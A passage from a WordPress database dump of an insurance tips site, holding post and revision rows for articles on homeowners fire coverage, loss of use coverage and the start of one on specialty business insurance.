class=\"wp-block-heading\">What Types of Fires Aren’t Covered Under Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home insurance won’t cover all causes of fires, including negligence and fires set by the homeowner (arson).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Preventable fires may not be covered by your policy. For instance, If a fire starts because you didn’t properly clean and maintain your chimney, the insurance company might not pay for the damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you reside in an area susceptible to wildfires, you might find it challenging to get a homeowners insurance policy that covers wildfire damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Different Types of Home Insurance Fire Coverage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Fire protection within a home insurance policy is found in several coverage types.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Dwelling Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Dwelling coverage pays for the cost of rebuilding or repairing your home’s structure as well as attached structures, such as a garage. It will pay up to your dwelling coverage limit unless you have expanded coverage like extended replacement cost coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Other Structures Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Other structures coverage pays for damage to detached structures such as sheds, fences, decks, canopies, pergolas, gazebos and detached garages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Personal Property Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Personal property coverage pays for damage to your belongings, such as furniture, electronics, appliances and clothing. You can typically choose between actual cash value and replacement cost coverage, which is more expensive but provides a higher amount of reimbursement if you file a personal property damage claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Loss of Use Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Loss of use coverage can pay for your extra costs if you must vacate your home while it’s being rebuilt or fixed after a fire. That may include a temporary hotel stay. This is also sometimes called additional living expenses coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Personal Liability Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Liability insurance covers you for injury to another person or damage to their property for which you’re legally liable. For example, a fire at your home spreads to a neighbor’s house. You’re found liable because of negligence, such as an unattended candle sparking a blaze, and they sue you for damages. Personal liability coverage will cover the expenses involved in a lawsuit, including settlements and defense costs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Much Does Fire Insurance Cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The average homeowners insurance policy costs $1,582 a year for a policy with $350,000 of dwelling insurance, according to Forbes Advisor‘s analysis. You don’t have to buy separate fire insurance, as it’s included as part of a home insurance policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your dwelling coverage limit should align with the estimated cost of reconstructing your house.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Factors that influence the cost of home insurance include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>The cost to rebuild your home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your home’s location and age.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Materials used to construct the house, including wood, brick or stone.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The location’s fire rating, including the nearness of hydrants and a fire station.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Claims history (yours and the property’s).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your coverage and policy limits.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Policy’s deductible.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your credit (except in California, Maryland and Massachusetts).</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to File a Fire Insurance Claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your home suffers a fire, you’ll want to take these steps when filing an insurance claim and avoid home insurance claim mistakes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Limit further damage.</strong>&nbsp;If you can do so safely, it’s wise to prevent further damage to your property immediately after a fire. For example, if a window is broken because of a problem covered by a home policy, you can prevent further damage by boarding the window to keep out rain.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Evaluate and document losses.</strong>&nbsp;Take thorough photos and videos and make lists of all damaged property. If possible, gather receipts and proof of purchase of any items you’ll list on your claim. Be proactive and create a home inventory before you ever need it.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Contact your insurance company as soon as possible following the fire.</strong>&nbsp;Try to contact your insurance company the same day of the incident or as soon as possible so you can begin the claims process.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Prepare to provide information to your insurance company.</strong>&nbsp;This might include the date and time of the fire, a recap of what occurred, the fire department/police report and your videos, photos and written documentation of losses.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Meet with a claims adjuster.</strong> An adjuster from your insurance company will be dispatched to your home in the hours or days after you report a claim. You can also hire a public adjuster, which is an independent insurance professional that helps homeowners make sure the claim is settled fairly and efficiently.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Get paid by the insurance company.</strong>&nbsp;After conducting an investigation, the insurance company will decide whether to approve your claim and how much you’re owed, minus your policy deductible.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>By being proactive after a fire, you can shorten the claim processing time. While any fire damage is stressful, having the right documentation and following up with your insurer will pay off.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.forbes.com/advisor/homeowners-insurance/fire-insurance/\">click here.</a></p>\n<!-- /wp:paragraph -->','Fire Insurance: Does Homeowners Policy Cover Fire Damage?','','inherit','closed','closed','','3940-revision-v1','','','2024-03-30 03:49:19','2024-03-30 03:49:19','',3940,'https://smartinsurance.tips/?p=3942',0,'revision','',0),(3943,1,'2024-03-30 04:19:46','2024-03-30 04:19:46','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3944,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-30-1024x1024.png\" alt=\"\" class=\"wp-image-3944\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Loss of use coverage is valuable if your home is damaged and you need to pay for temporary housing while repairs are done. It pays bills related to extra living expenses during this time. Having the best home insurance can help ease the financial burden while you’re waiting to move back into your home or permanently relocate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Is Loss of Use Coverage?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Loss of use coverage is a component of a home insurance policy that pays for additional housing costs and living expenses when your home is uninhabitable due to a problem covered by your homeowners policy. It’s included in standard homeowners insurance and renters insurance policies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Suppose you’re forced into temporary living quarters following a tornado or fire. Loss of use coverage would reimburse you for the additional costs of renting a home or staying at a hotel, up to your policy limits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Does Loss of Use Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Loss of use coverage also called additional living expenses coverage, can reimburse you for many types of expenses, such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Temporary housing, which could include a hotel, a reasonable rent charged by family members you’ve moved in with, or even an RV you’re renting in order to stay close to your property during repairs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Grocery and restaurant bills.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Laundry service.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Pet boarding if your temporary housing doesn’t accept pets.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Storage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Mileage related to a longer commute because your temporary home is farther away from work.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Mileage related to places you must visit for your rebuilding effort, such as furniture and flooring stores.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Moving costs to get back into your house when it’s ready.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Loss of use coverage only reimburses you for expenses that are above and beyond those you would incur if you lived at home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the same time, loss of use coverage should reimburse you for expenses based on your usual standard of living. If you had been living in a small two-bedroom house, you won’t be reimbursed for renting a large five-bedroom house.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s also possible that you could receive reimbursement for loss of rental income. For example, if you normally rent a portion of your house but can’t do so because of damage to the house, loss of use coverage might pay you an amount equivalent to fair rental value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Does Loss of Use Not Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Loss of use coverage doesn’t reimburse you for mortgage payments, insurance or child care costs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It also generally won’t pay if your home isn’t damaged but you decide to live elsewhere during an extended power outage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loss of use coverage doesn’t pay for&nbsp;<em>all</em>&nbsp;of your food, housing and other costs. It covers the&nbsp;<em>extra</em>&nbsp;expenses of living in a temporary location.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It also doesn’t pay for&nbsp;<em>all</em>&nbsp;of your food, housing, travel and other costs. It covers the&nbsp;<em>extra</em>&nbsp;expense of living in a temporary location.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When Does Loss of Use Coverage Kick in?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In most cases, loss of use coverage kicks in when your home is uninhabitable due to severe damage from a problem that’s covered by your policy. These issues may include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Damage resulting from snow, ice or sleet</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Explosions or falling objects</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Fire, including wildfires</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Vandalism</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage, such as damage from a burst pipe, not related to flooding</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Wind damage, including hurricane wind</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A mandatory evacuation ordered by civil authorities</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>You can make a claim on loss of use coverage if a civil authority orders a mandatory evacuation of your area—<em>even if your house is never damaged</em>. This can happen when a wildfire or hurricane is approaching your area. Keep this in mind if you live in an area where an evacuation might occur. You do not need to go to a shelter or bunk with family members during a mandatory evacuation if your loss of use coverage will pay for a hotel (assuming a hotel room is available). But the claim on loss of use coverage will go on your claims history.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Much Loss of Use Coverage Do I Need?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The amount of loss of use coverage listed in a home insurance policy is typically equivalent to about 20% of your home’s insured value. If you have $300,000 in dwelling coverage, your loss of use coverage could be $60,000, or 20% of the dwelling coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some homeowners policies might limit the coverage period instead of limiting the dollar amount. For example, home insurers in Colorado must cover loss of use for up to 12 months, but Colorado homeowners must be offered the option of 24 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have renters insurance, coverage may be limited to a flat amount of a few thousand dollars or a percentage, such as 40%, of your personal property coverage. In that case, a renters insurance policy with $100,000 in personal property coverage and 40% loss of use coverage would cover up to $40,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You may be able to increase the loss of use coverage if you believe your current policy limits will be insufficient.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Do I File a Loss of Use Coverage Claim?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Understand the Limits of Loss of Use Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Before filing a loss of use home insurance claim, make sure you understand what is and isn’t covered. Knowing what’s covered can help you make decisions that will keep your costs within the coverage limits of your insurance policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, if you’re eating hotel meals, you won’t be reimbursed for 100% of your meals. Your average food spending before the damage will be used to figure out how much is an extra expense. If your hotel room has a kitchen, you might not be eligible for any extra expenses related to restaurant meals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Ask for a Cash Advance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your insurance adjuster may be able to arrange for cash advances of anticipated extra expenses. If you can’t afford to pay for extra expenses and then wait for insurance reimbursement, make sure to ask for a cash advance. For example, you may need to buy clothes if yours were destroyed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Ask Your Insurance Adjuster for Help with Housing</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your insurance adjuster can likely help you find appropriate housing. Insurance companies work with vendors who supply housing for loss of use claims, such as house rentals and extended-stay hotels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Money from Loss of Use Coverage Cannot Be Used for a Different Part of the Claim</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you do not spend all of your loss of use claim maximum, the extra money is&nbsp;<em>not transferred to other parts of your claim</em>, like your claim for personal property damage. Claims for these coverage types are treated separately, with their own maximums listed in your policy, and money does not transfer among the coverage types.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, you may have an insurance adjuster for your loss of use claim and a different adjuster for your dwelling and/or personal property claims.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If your loss of use coverage has a time limit but not a monetary cap, there’s no reason to agree to housing that’s below your standard of living in order to conserve money. For example, if your family was living in a five-bedroom house with a pool, you can use a loss of use claim to rent a comparable five-bedroom house with a pool.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Save Receipts</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Keep all receipts related to expenses you incur that fall under your loss of use coverage and document all spending. You will need to submit copies of receipts before you will receive a check for reimbursement. In fact, you may want to open a separate bank account for loss of use reimbursement and spending, to help track these expenses separately from your other personal expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Professional Help With Large Home Insurance Claims</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’ve suffered a devastating loss of your house and belongings, consider hiring a public adjuster. These adjusters work for you, not the insurance company. They can help you navigate the claims process and understand what you’re entitled to, including loss of use claims.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.forbes.com/advisor/homeowners-insurance/loss-of-use/\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is Loss Of Use Coverage For Home Insurance?','','publish','closed','closed','','what-is-loss-of-use-coverage-for-home-insurance','','','2024-03-30 04:19:48','2024-03-30 04:19:48','',0,'https://smartinsurance.tips/?p=3943',0,'post','',0),(3944,1,'2024-03-30 04:18:10','2024-03-30 04:18:10','','Untitled-30','','inherit','closed','closed','','untitled-30-2','','','2024-03-30 04:18:10','2024-03-30 04:18:10','',3943,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-30.png',0,'attachment','image/png',0),(3945,1,'2024-03-30 04:19:46','2024-03-30 04:19:46','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3944,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-30-1024x1024.png\" alt=\"\" class=\"wp-image-3944\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Loss of use coverage is valuable if your home is damaged and you need to pay for temporary housing while repairs are done. It pays bills related to extra living expenses during this time. Having the best home insurance can help ease the financial burden while you’re waiting to move back into your home or permanently relocate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Is Loss of Use Coverage?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Loss of use coverage is a component of a home insurance policy that pays for additional housing costs and living expenses when your home is uninhabitable due to a problem covered by your homeowners policy. It’s included in standard homeowners insurance and renters insurance policies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Suppose you’re forced into temporary living quarters following a tornado or fire. Loss of use coverage would reimburse you for the additional costs of renting a home or staying at a hotel, up to your policy limits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Does Loss of Use Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Loss of use coverage also called additional living expenses coverage, can reimburse you for many types of expenses, such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Temporary housing, which could include a hotel, a reasonable rent charged by family members you’ve moved in with, or even an RV you’re renting in order to stay close to your property during repairs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Grocery and restaurant bills.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Laundry service.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Pet boarding if your temporary housing doesn’t accept pets.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Storage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Mileage related to a longer commute because your temporary home is farther away from work.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Mileage related to places you must visit for your rebuilding effort, such as furniture and flooring stores.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Moving costs to get back into your house when it’s ready.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Loss of use coverage only reimburses you for expenses that are above and beyond those you would incur if you lived at home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the same time, loss of use coverage should reimburse you for expenses based on your usual standard of living. If you had been living in a small two-bedroom house, you won’t be reimbursed for renting a large five-bedroom house.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s also possible that you could receive reimbursement for loss of rental income. For example, if you normally rent a portion of your house but can’t do so because of damage to the house, loss of use coverage might pay you an amount equivalent to fair rental value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Does Loss of Use Not Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Loss of use coverage doesn’t reimburse you for mortgage payments, insurance or child care costs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It also generally won’t pay if your home isn’t damaged but you decide to live elsewhere during an extended power outage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loss of use coverage doesn’t pay for&nbsp;<em>all</em>&nbsp;of your food, housing and other costs. It covers the&nbsp;<em>extra</em>&nbsp;expenses of living in a temporary location.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It also doesn’t pay for&nbsp;<em>all</em>&nbsp;of your food, housing, travel and other costs. It covers the&nbsp;<em>extra</em>&nbsp;expense of living in a temporary location.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When Does Loss of Use Coverage Kick in?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In most cases, loss of use coverage kicks in when your home is uninhabitable due to severe damage from a problem that’s covered by your policy. These issues may include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Damage resulting from snow, ice or sleet</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Explosions or falling objects</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Fire, including wildfires</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Vandalism</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage, such as damage from a burst pipe, not related to flooding</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Wind damage, including hurricane wind</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A mandatory evacuation ordered by civil authorities</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>You can make a claim on loss of use coverage if a civil authority orders a mandatory evacuation of your area—<em>even if your house is never damaged</em>. This can happen when a wildfire or hurricane is approaching your area. Keep this in mind if you live in an area where an evacuation might occur. You do not need to go to a shelter or bunk with family members during a mandatory evacuation if your loss of use coverage will pay for a hotel (assuming a hotel room is available). But the claim on loss of use coverage will go on your claims history.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Much Loss of Use Coverage Do I Need?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The amount of loss of use coverage listed in a home insurance policy is typically equivalent to about 20% of your home’s insured value. If you have $300,000 in dwelling coverage, your loss of use coverage could be $60,000, or 20% of the dwelling coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some homeowners policies might limit the coverage period instead of limiting the dollar amount. For example, home insurers in Colorado must cover loss of use for up to 12 months, but Colorado homeowners must be offered the option of 24 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have renters insurance, coverage may be limited to a flat amount of a few thousand dollars or a percentage, such as 40%, of your personal property coverage. In that case, a renters insurance policy with $100,000 in personal property coverage and 40% loss of use coverage would cover up to $40,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You may be able to increase the loss of use coverage if you believe your current policy limits will be insufficient.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Do I File a Loss of Use Coverage Claim?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Understand the Limits of Loss of Use Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Before filing a loss of use home insurance claim, make sure you understand what is and isn’t covered. Knowing what’s covered can help you make decisions that will keep your costs within the coverage limits of your insurance policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, if you’re eating hotel meals, you won’t be reimbursed for 100% of your meals. Your average food spending before the damage will be used to figure out how much is an extra expense. If your hotel room has a kitchen, you might not be eligible for any extra expenses related to restaurant meals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Ask for a Cash Advance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your insurance adjuster may be able to arrange for cash advances of anticipated extra expenses. If you can’t afford to pay for extra expenses and then wait for insurance reimbursement, make sure to ask for a cash advance. For example, you may need to buy clothes if yours were destroyed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Ask Your Insurance Adjuster for Help with Housing</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your insurance adjuster can likely help you find appropriate housing. Insurance companies work with vendors who supply housing for loss of use claims, such as house rentals and extended-stay hotels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Money from Loss of Use Coverage Cannot Be Used for a Different Part of the Claim</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you do not spend all of your loss of use claim maximum, the extra money is&nbsp;<em>not transferred to other parts of your claim</em>, like your claim for personal property damage. Claims for these coverage types are treated separately, with their own maximums listed in your policy, and money does not transfer among the coverage types.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, you may have an insurance adjuster for your loss of use claim and a different adjuster for your dwelling and/or personal property claims.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If your loss of use coverage has a time limit but not a monetary cap, there’s no reason to agree to housing that’s below your standard of living in order to conserve money. For example, if your family was living in a five-bedroom house with a pool, you can use a loss of use claim to rent a comparable five-bedroom house with a pool.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Save Receipts</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Keep all receipts related to expenses you incur that fall under your loss of use coverage and document all spending. You will need to submit copies of receipts before you will receive a check for reimbursement. In fact, you may want to open a separate bank account for loss of use reimbursement and spending, to help track these expenses separately from your other personal expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Professional Help With Large Home Insurance Claims</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’ve suffered a devastating loss of your house and belongings, consider hiring a public adjuster. These adjusters work for you, not the insurance company. They can help you navigate the claims process and understand what you’re entitled to, including loss of use claims.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.forbes.com/advisor/homeowners-insurance/loss-of-use/\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is Loss Of Use Coverage For Home Insurance?','','inherit','closed','closed','','3943-revision-v1','','','2024-03-30 04:19:46','2024-03-30 04:19:46','',3943,'https://smartinsurance.tips/?p=3945',0,'revision','',0),(3946,1,'2024-03-30 04:23:08','2024-03-30 04:23:08','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3947,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-31-1024x1024.png\" alt=\"\" class=\"wp-image-3947\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>There’s no shortage of insurers or insurance policies for small businesses. However, most policies are designed to provide coverage for companies in general and not for the specific risks your business might face. For example, you won’t be covered for a potentially significant event like a product recall, a data breach or a professional error that costs your clients money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For these situations, consider taking out specialty insurance. The good news is that it can be much more competitively priced than standard insurance policies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is specialty insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Specialty insurance plans are for businesses that have specific, and often unusual, coverage needs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You might have expensive, specialized equipment you want to protect, or perhaps you work in a sector where employee fraud is a real and present risk. These types of risks are not usually covered under standard business insurance policies. For 